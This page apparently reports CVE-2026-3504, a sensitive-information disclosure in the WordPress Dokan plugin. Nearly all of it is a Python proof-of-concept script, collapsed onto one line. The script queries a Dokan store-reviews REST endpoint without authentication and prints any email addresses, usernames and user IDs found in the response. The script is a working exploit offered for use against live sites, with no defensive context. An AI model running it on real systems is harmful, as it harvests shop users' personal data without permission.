CVE-2026-3504 WordPress Dokan插件敏感信息泄露漏洞

import requests import json # Target URL configuration # Replace 'example.com' with the actual target domain target_url = "http://example.com/wp-json/dokan/v1/stores/1/reviews" def check_poc(url): try: # Send GET request to the vulnerable endpoint # No authentication required based on PR:N headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: try: data = response.json() # Check if response contains data if data and len(data) > 0: # Inspect the first item for sensitive fields first_review = data[0] # Check for sensitive keys: email, username, user_id sensitive_keys = ['email', 'username', 'user_id'] found_leak = False print("[+] Response received. Analyzing data structure...") for key in sensitive_keys: if key in first_review: print(f"[!] Sensitive data found: '{key}' -> {first_review[key]}") found_leak = True if found_leak: print("[+] Vulnerability Confirmed: Sensitive Information Exposure detected.") print(f"[+] Full Data Sample: {json.dumps(first_review, indent=2)}") return True else: print("[-] Response empty, no reviews found for this store ID.") except json.JSONDecodeError: print("[-] Response is not valid JSON.") else: print(f"[-] HTTP Status Code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Error connecting to target: {e}") return False if __name__ == "__main__": print(f"[*] Checking CVE-2026-3504 on: {target_url}") check_poc(target_url)